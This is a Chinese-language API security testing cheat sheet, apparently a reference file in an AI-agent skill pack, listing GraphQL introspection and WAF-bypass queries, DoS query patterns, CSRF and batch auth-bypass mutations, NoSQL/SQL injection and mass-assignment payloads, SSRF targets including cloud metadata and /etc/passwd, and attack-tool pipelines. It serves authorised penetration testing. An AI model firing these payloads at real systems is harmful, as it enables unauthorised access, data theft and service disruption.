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reverse-skill/skills/api-security/references/rest-graphql-testing.md
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2026-08-08 18:32:33 +08:00

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REST + GraphQL 深度测试

GraphQL 安全测试完整清单

内省探测(三级降级)

# Level 1 — 标准内省
{ __schema { queryType { name } mutationType { name } types { name fields { name type { name } } } } }

# Level 2 — 精简内省(绕过 WAF)
{ __schema { types { name } } }

# Level 3 — 最小探测
{ __type(name: "Query") { name } }

DoS 攻击向量

# 别名过载
query { a1: __typename a2: __typename ... a100: __typename }

# 批查询过载
[query1, query2, ..., query10]

# 循环查询
query { __schema { types { fields { type { fields { type { fields { name } } } } } } } }

# 指令过载
query { __typename @skip(if: false) @include(if: true) ... }

授权测试

# GET 突变(CSRF)
GET /graphql?query=mutation+{+deleteUser(id:1)+}

# 批查询绕过认证
[
  { "query": "query { me { id } }" },
  { "query": "mutation { deleteUser(id: 2) }" }
]

REST API 深度测试

方法操控矩阵

端点 GET POST PUT PATCH DELETE OPTIONS
/users ✓ 可访问 测试越权创建 测试批量覆盖 测试字段注入 测试级联删除 信息泄漏
/users/me 基准 — 测试自我提权 测试字段追加 测试自我删除 —

参数注入

// NoSQL 注入
{"username": {"$gt": ""}, "password": {"$ne": ""}}

// 批量赋值
{"email": "user@example.com", "role": "admin", "isAdmin": true}

// 参数污染
GET /api/users?role=user&role=admin

// JSON 数组注入
{"ids": [1, 2, 3]} → {"ids": ["1 UNION SELECT ..."]}

SSRF via API

常见 SSRF 参数: webhook_url, callback_url, avatar_url, import_url, 
                redirect_uri, file_url, proxy_url, image_url
测试: http://169.254.169.254/latest/meta-data/ (AWS)
      http://metadata.google.internal/ (GCP)
      file:///etc/passwd

自动化工具链

Vespasian(流量驱动规范生成)

# 从无头浏览器爬取
vespasian crawl --url https://target.com --depth 3

# 从 Burp/HAR 导入
vespasian import --file traffic.har

# 导出 OpenAPI 3.0 + GraphQL SDL
vespasian export --format openapi3 --output api-spec.yaml

Entropy(LLM 攻击生成)

# 基于 spec 的自动测试
entropy --spec api-spec.yaml --live --persona all

# 五种并发人格:
# - malicious_insider: IDOR/批量赋值/权限提升
# - bot_swarm: 限速绕过/DoS/自动化滥用
# - penetration_tester: 注入/认证绕过
# - impatient_consumer: 竞态条件/错误处理
# - confused_user: 意外输入/边界测试

# CI 模式
entropy --spec api-spec.yaml --ci --watch

api.sh(8 阶段管道)

# Phase 1-3: GraphQL 侦察 → 利用 → 爆破
./api.sh graphql-recon https://target.com/graphql
./api.sh graphql-exploit https://target.com/graphql

# Phase 4: REST 滥用
./api.sh rest-abuse https://target.com/api

# Phase 5: WebSocket
./api.sh ws-test wss://target.com/ws

# Phase 6: SOAP/XXE
./api.sh soap-xxe https://target.com/soap

# Phase 7: 限速绕过
./api.sh rate-bypass https://target.com/api

# Phase 8: Schema 收割
./api.sh schema-harvest https://target.com

Source: OWASP API Top 10, Praetorian Vespasian, Entropy, FireTail GraphQL